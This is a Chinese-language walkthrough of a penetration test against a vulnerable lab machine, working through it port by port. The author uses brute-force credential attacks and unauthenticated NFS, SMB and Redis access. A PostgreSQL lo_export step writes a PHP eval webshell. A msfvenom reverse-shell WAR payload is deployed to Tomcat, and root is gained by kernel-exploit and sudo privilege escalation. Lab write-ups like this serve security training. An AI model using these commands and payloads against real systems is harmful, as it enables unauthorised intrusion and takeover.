這個靶機挺多漏洞,知識點很廣,所以決定自己來打一遍,算是複習一些很久前的知識點,就從一個埠一個埠來滲透吧,看看有什麼知識點
埠掃描25埠用戶名枚舉為啥先這個埠呢,因為後面要滲透21和22埠很大可能會爆破,25埠版本為Postfix smtpd,可以進行用戶名枚舉,為後面爆破提供方便
存在root、typhoon、admin這三個用戶
使用nc連接25埠
不過貌似不能發郵件
首先在網上搜了一下vsftpd 3.0.2這個版本有沒有什麼漏洞,沒有結果,於是嘗試一些通用的基本操作
ftp匿名訪問探測了一下發現存在ftp匿名訪問
於是登錄一下,查看當前路徑及列目錄
嘗試上傳文件
發現權限不允許,所以21埠暫時沒有其它利用方式
因為知道了存在以上用戶,所以使用hydra爆破
得到了typhoon的密碼
繼續爆破admin的密碼,同樣成功爆破
root爆破無果
帳號密碼和21埠一樣
這是一個NFS服務,測試一下是否存在未授權訪問允許掛載文件,確實存在
查詢目標NFS共享目錄情況
showmount -e 192.168.80.4
然後掛載typhoon目錄
mount -t nfs 192.168.80.4:/typhoon /tmp/mut/
445埠使用enum4linux枚舉目標共享信息
enum4linux 192.168.80.4
也順便列出了存在的用戶名typhoon、admin、postfixuser
發現允許空帳戶、空密碼登錄,共享文件typhoon
遠程掛載,密碼隨便輸就行
這個埠是PostgreSQL資料庫,嘗試爆破一下帳號密碼
帳號密碼都為postgres
DROP TABLE if EXISTS ghtwf01;
CREATE TABLE ghtwf01(t TEXT);
COPY ghtwf01 FROM '/etc/passwd';
SELECT * FROM ghtwf01;
創建OID,清空內容
SELECT lo_create(4444);
delete from pg_largeobject where loid=4444;
將一句話木馬16進位編碼為
3C3F70687020406576616C28245F504F53545B277368656C6C275D293B203F3E
插入
insert into pg_largeobject (loid,pageno,data) values(4444, 0, decode('3C3F70687020406576616C28245F504F53545B277368656C6C275D293B203F3E', 'hex'));
導出數據到指定文件
SELECT lo_export(4444, '/var/www/html/shell.php');
成功getshell
這個埠是Redis,測試一下是否存在未授權訪問
確實存在
Redis利用方式有三種
1.Redis寫webshell
2.Redis寫計劃任務反彈shell
3.Redis寫ssh公鑰
詳細見我之前寫的一篇Redis利用方式總結:https://www.ghtwf01.cn/index.php/archives/407/
80埠drupal Drupalgeddon 2遠程代碼執行(CVE-2018-7600)目錄掃描發現了它,直接上msf
在cms目錄,同樣msf
帳號密碼是默認的admin/password
這裡面全是洞,直接命令執行彈shell
利用dvwa裡面的文件包含漏洞或獲取dvwa配置文件信息拿到資料庫帳號密碼登錄
8080埠發現是Tomcat,先目錄掃描一下,找到後臺manager,需要帳號密碼
使用msf爆破一下
帳號密碼都為tomcat
進入後臺發現版本號7.0.52,有上傳點,所以就是部署war後門
使用msf生成war包後門
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.80.130 lport=4444 -f war -o shell.war
打開發現後門名叫hmmliavgsqxlddq.jsp
上傳shell.war
訪問shell/hmmliavgsqxlddq.jsp反彈shell
msf一把梭
這裡演示幾種提權方式
內核提權uname -a查看內核版本
搜索一下,發現存在內核提權
然後上傳exp,編譯運行
先切換成bash
python -c 'import pty;pty.spawn("/bin/bash")'
發現在tab目錄下有一個script.sh文件所有用戶都可以操作,於是在裡面寫入反彈shell命令,但是反彈過來的不是root權限,而且返回來的shell還挺難操作,有點迷
看到可以使用nc,於是使用msf裡面的nc反彈shell
然後成功反彈shell
前提是已經獲得當前普通用戶的密碼,並且當前用戶屬於sudo組,這裡使用的admin用戶
查看一下sudo權限範圍
因為安全了python,直接
sudo python -c 'import pty;pty.spawn("/bin/bash")'
拿到root權限
或者sudo -i
方法很多